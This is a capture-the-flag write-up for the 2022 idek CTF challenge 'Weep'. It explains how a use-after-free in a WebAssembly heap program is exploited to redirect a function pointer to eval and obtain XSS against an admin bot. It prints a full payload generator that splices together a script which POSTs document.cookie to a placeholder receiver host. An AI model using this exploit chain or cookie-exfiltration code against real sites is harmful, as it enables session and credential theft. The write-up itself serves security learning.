2022 idek CTF - Weep

With the help of teammate kdxcxs, I solved one pwn challenge - Weep in 2022 idek CTF (why 2022’s game started in 2023 :<)

TL;DR

Exploit wasm vul to implement special XSS to steal flag cookies. Remember that exploit wasm in the env of wasm.

Intro

A quick view of the challenge, its main directory is below:

1
2
3
4
5
6
7
8
9
├── main.c
├── main.js
├── node_modules
└── static
├── admin.html
├── admin.js
├── index.html
├── index.js
└── index.wasm
  • main.c: it looks like just a menu heap, and will be compiled to a wasm file.
  • main.js: remote server code, it’s an XSS bot.
  • admin.html & admin.js: front-end interface can access the route of “/visit”.
  • index.html & index.js: front-end interface whose codes correspond to each function from main.c.
  • index.wasm: a wasm file that is compiled from main.c

A simple front-end page:

It is a simple interactive interface, and all operations can be automatically generated as a payload that can be sent to the admin bot.

So our target is:

  • Discover a vul in main.c.
  • Trigger the vul in the front-end.
  • Generate the complete payload to trigger admin bot XSS to leak flag.

Vul

Through quick vul discovering in main.c, I can see:

  • Global var title_fp is a function pointer, that can be valued as mrTitle/mrsTitle/emscripten_run_script in setTitle. But var val is type int not type long long, so never be equal to 0x1337133713371337.
  • An obvious UAF exploitation in delete.
  • The only way to invoke title_fp is in greet and is limited to one time by numCalls.

I wanna trigger the vul in the wasm file, browser developer console can help me debug the wasm code easily.

After some reverse work, I discovered that all wasm memory is located in a huge ArrayBuffer. I’ll call ArrayBuffer m next. By reversing greet and setTitle wasm code, I discovered:

  • m[66112] = 1/2/3 decides title_fp is valued as mrTitle/mrsTitle/emscripten_run_script.
  • numCalls is located in m[66128].
  • GC tech is dl-malloc, which is also implemented in wasm. Through simple analysis, I found that dl-malloc has 8 bytes header, and we can exploit dl-malloc like fastbin attack in pt-malloc.

Exp

The basic exploit process is shown in the figure:

Change title_fp to 3, and change numCalls to a neg value.

Oh, another tiny problem is that emscripten_run_script has a string length limit of 23.

1
2
3
4
5
6
7
8
function _emscripten_run_script(ptr) {
var val = UTF8ToString(ptr)
if(val.length > 23){
alert("Hacker alert!")
}else{
eval(val);
}
}

So use the function edit and greet to splice out the payload step by step, and then invoke eval.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
let code = 'fetch("http://{receive xss result}",{method:"POST",mode:"no-cors",body:document.cookie})';

console.log(btoa(JSON.stringify([
[0,0,"aaaa"],
[0,1,"aaaa"],
[0,2,"aaaa"],
[0,3,"aaaa"],
[0,4,"aaaa"],
[0,5,"aaaaaaaaaaaaaaaaaaaa"],
[1,0],
[1,2],
[2,2,"8\x02\x01"],
[0,6,"aaaa"],
[0,6,"\x03"],
[1,1],
[1,3],
[2,3,"H\x02\x01"],
[0,7,"aaaa"],
[0,7,"\x08\xff\xff\xff"],
[2,5,"window.a=''"],
[3,5],
...[...code].reduce((total, char) => (
total = [...total, [2,5,`a+='${char}'`],[3,5]]
), []),
[2,5,"eval(a)"],
[3,5],
])));

Generate the payload, send it to the admin bot to trigger XSS, monitor and get your flag!

Conclusion

Maybe wasm will adopt ASLR and PIE mechanisms in the future :>